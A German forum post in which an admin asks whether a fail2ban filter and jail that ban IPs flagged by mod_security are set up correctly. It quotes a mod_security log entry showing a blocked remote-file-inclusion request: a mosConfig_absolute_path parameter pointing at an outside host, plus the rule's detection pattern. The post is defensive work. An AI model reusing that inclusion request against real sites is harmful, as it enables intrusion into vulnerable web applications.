Current time: 09-28-2024, 02:15 AM Hello There, Guest! (LoginRegister)


Thread Closed 
 
Thread Rating:
  • 0 Votes - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
[Erledigt] iptables apache anbindung
Author Message
fulltilt Offline
Member
***

Posts: 1,225
Joined: Apr 2007
Reputation: 5
Post: #4
RE: iptables apache anbindung
Ich hab es mal so probiert:

In filter.d angelegt: apache-modsec.conf
Code:
[Definition]
# Option:  failregex
# Notes.:  regex to match the password failure messages in the logfile. The
#          host must be matched by a group named "host". The tag "<HOST>" can
#          be used for standard IP/hostname matching.
# Values:  TEX
#
failregex = [[]client <HOST>[]] Message: Access denied with code 403
# Option:  ignoreregex
# Notes.:  regex to ignore. If this regex matches, the line is ignored.
# Values:  TEXT
#
ignoreregex =

in jail.conf:
Code:
[apache-modsec]
enabled = true
port    = http
filter  = apache-modsec
logpath = /var/log/apache*/mod-security2.log
maxretry = 1

Ich nutze modsecurity2 welches nach /var/log/apache*/mod-security2.log loggt.

Ist das oben soweit richtig zu diesem Log bzw. funktioniert das so?
Die IP des Angreifers steht in der ersten Zeile und dahinter gleich die meines Servers.
Die Logeinträge sehen so aus:
Code:
--e97c4236-A--
[21/Feb/2008:10:30:30 +0100] wbi3aMMYTXsAAGuGDoQAAAAX xx.117.225.155 33139 xxx.xx.xx.xxx 80
--e97c4236-B--
GET /content/view/20/38//?mosConfig_absolute_path=http://onlypets.net/id.txt?? HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: www.tld.tld
User-Agent: libwww-perl/5.808

--e97c4236-F--
HTTP/1.1 403 Forbidden
Last-Modified:
ETag: "119xxxxxxxxxxx56540"
Accept-Ranges: bytes
Content-Length: 1136
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html; charset=ISO-8859-1

--e97c4236-H--
Message: Access denied with code 403 (phase 2). Pattern match "(\\.\\./\\.\\.|/|(http|https|ftp)\\:/)" at ARGS:mosConfig_absolute_path. [id "390075"] [rev "1"] [msg "JITP: Generic mosConfig_absolute_path File Inclusion Vulnerability"] [severity "CRITICAL"]
Action: Intercepted (phase 2)

--e97c4236-Z--
(This post was last modified: 02-21-2008 09:59 PM by fulltilt.)
02-21-2008 09:49 PM
Find all posts by this user
Thread Closed 


Messages In This Thread
RE: iptables apache anbindung - BeNe - 02-21-2008, 09:01 PM
RE: iptables apache anbindung - fulltilt - 02-21-2008, 09:15 PM
RE: iptables apache anbindung - fulltilt - 02-21-2008 09:49 PM
RE: iptables apache anbindung - BeNe - 02-21-2008, 10:13 PM
RE: iptables apache anbindung - fulltilt - 02-21-2008, 10:25 PM
RE: iptables apache anbindung - fulltilt - 02-22-2008, 06:45 PM
RE: iptables apache anbindung - BeNe - 02-22-2008, 10:43 PM
RE: iptables apache anbindung - fulltilt - 02-22-2008, 10:49 PM
RE: iptables apache anbindung - Rene - 02-24-2008, 12:32 AM
RE: iptables apache anbindung - fulltilt - 02-24-2008, 01:13 AM
RE: iptables apache anbindung - Rene - 02-24-2008, 01:23 AM
RE: iptables apache anbindung - fulltilt - 02-24-2008, 01:29 AM
RE: iptables apache anbindung - fulltilt - 02-25-2008, 12:48 AM
RE: iptables apache anbindung - Rene - 02-25-2008, 01:02 AM
RE: iptables apache anbindung - fulltilt - 02-25-2008, 01:13 AM
RE: iptables apache anbindung - Rene - 02-25-2008, 01:15 AM
RE: iptables apache anbindung - fulltilt - 02-25-2008, 01:25 AM
RE: iptables apache anbindung - Rene - 02-25-2008, 01:31 AM
RE: iptables apache anbindung - fulltilt - 02-25-2008, 01:41 AM
RE: iptables apache anbindung - Rene - 02-25-2008, 01:50 AM
RE: iptables apache anbindung - fulltilt - 02-25-2008, 01:57 AM
RE: iptables apache anbindung - Rene - 02-25-2008, 01:59 AM
RE: iptables apache anbindung - fulltilt - 03-01-2008, 08:54 PM
RE: iptables apache anbindung - Rene - 03-01-2008, 09:05 PM
RE: iptables apache anbindung - fulltilt - 03-01-2008, 09:14 PM
RE: iptables apache anbindung - Rene - 03-01-2008, 09:17 PM
RE: iptables apache anbindung - fulltilt - 03-01-2008, 09:29 PM
RE: iptables apache anbindung - Rene - 03-01-2008, 09:32 PM

Forum Jump:


User(s) browsing this thread: 16 Guest(s)